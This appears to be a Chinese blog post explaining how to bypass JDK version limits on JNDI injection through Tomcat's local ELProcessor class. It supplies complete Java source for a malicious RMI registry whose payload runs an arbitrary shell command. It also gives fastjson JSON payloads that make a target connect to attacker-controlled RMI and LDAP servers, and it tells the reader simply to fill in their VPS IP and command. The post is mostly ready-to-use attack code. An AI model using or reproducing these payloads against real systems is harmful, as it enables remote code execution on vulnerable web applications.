利用本地類突破JDK高版本限制進(jìn)行JNDI注入

前言

一般情況下,我們在進(jìn)行JNDI注入時會參考JDK的版本限制,具體的修復(fù)可以參考下圖

JDK對于JNDI注入的修復(fù)

但如果JDK大于圖中版本時,就不能進(jìn)行JNDI注入了嗎?答案不是的

觸發(fā)情況

  • 1.JDK >上圖版本
  • 2.Web Application use Tomcat || IBM WebSphere && can use LDAP | RMI

Payload

1.惡意RMI服務(wù)器

使用如下代碼搭建惡意的RMI服務(wù)器

import java.rmi.registry.*;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;

public class EvilRMIServerNew {
    public static void main(String[] args) throws Exception {
        String vpsip = "your vpsip" ;
        System.out.println("Creating evil RMI registry on port 1097");
        System.setProperty("java.rmi.server.hostname",vpsip);
        Registry registry = LocateRegistry.createRegistry(1097);

        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        ref.add(new StringRefAddr("forceString", "x=eval"));
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','command']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("ExportObject", referenceWrapper);
    }
}

你只需要修改vpsip為你的ip,且修改command為你要執(zhí)行的命令即可

隨后在webapp調(diào)用rmi服務(wù)即可,例如fastjson(利用tomcat的本地類)

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://vpsip:1097/ExportObject",
        "autoCommit":true
    }

}
Exploit示例
執(zhí)行firefox舉例

2.惡意LDAP服務(wù)器

本來準(zhǔn)備自己寫一個的,在逛github時偶然發(fā)現(xiàn)了一個輪子

Rogue JNDI

使用它可以搭建基于LDAP惡意服務(wù)器合集

LDAP惡意服務(wù)器合集

我們還是以fastjson為攻擊目標(biāo)舉例,這回我們把JDK換成JDK8U211

tomcat

我們構(gòu)造好payload進(jìn)行攻擊(利用tomcat的本地類)

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://vpsip:1389/o=tomcat",
        "autoCommit":true
    }

}

可見已經(jīng)彈出Firefox,攻擊成功

彈出Firefox
攻擊成功

關(guān)于tomcat

由于tomcat7并不含有javax.el.E??LProcessor類,而tomcat8含有

javax.el.E??LProcessor

由此得知tomcat7無法觸發(fā).

已知可利用的本地類

Tomcat ----> javax.el.ELProcessor
IBM WebSphere ----> com.ibm.ws.webservices.engine.client.ServiceFactory || com.ibm.ws.client.applicationclient.ClientJ2CCFFactory

利用上面的已知類你可以自定義想要的RMI惡意服務(wù)器

Reference

Exploiting JNDI Injections in Java:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
rogue-jndi:
https://github.com/veracode-research/rogue-jndi

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 一. Java基礎(chǔ)部分.................................................
    wy_sure閱讀 3,995評論 0 11
  • 轉(zhuǎn)自陳明乾的博客,可能有一定更新。 轉(zhuǎn)原文聲明: 原創(chuàng)作品,允許轉(zhuǎn)載,轉(zhuǎn)載時請務(wù)必以超鏈接形式標(biāo)明文章 原始出處 ...
    LUNJINGJIE閱讀 4,084評論 1 33
  • 搭建Tomcat源碼項(xiàng)目 下載tomcat源代碼 下載地址 編寫一個pom.xml 文件,給Tomcat使用。<?...
    PECINY閱讀 811評論 0 0
  • 一、 工具篇JDK (Java Development Kit) JDK是整個Java的核心,包括了Java運(yùn)行環(huán)...
    那你diss我好了閱讀 1,731評論 1 24
  • 在本次期中考試中六年級一班共參加67名學(xué)生考試,總體成績偏差具體問題,我將從試卷方面,成績方面,我和學(xué)生方面分析。...
    段國強(qiáng)1閱讀 248評論 0 0

友情鏈接更多精彩內(nèi)容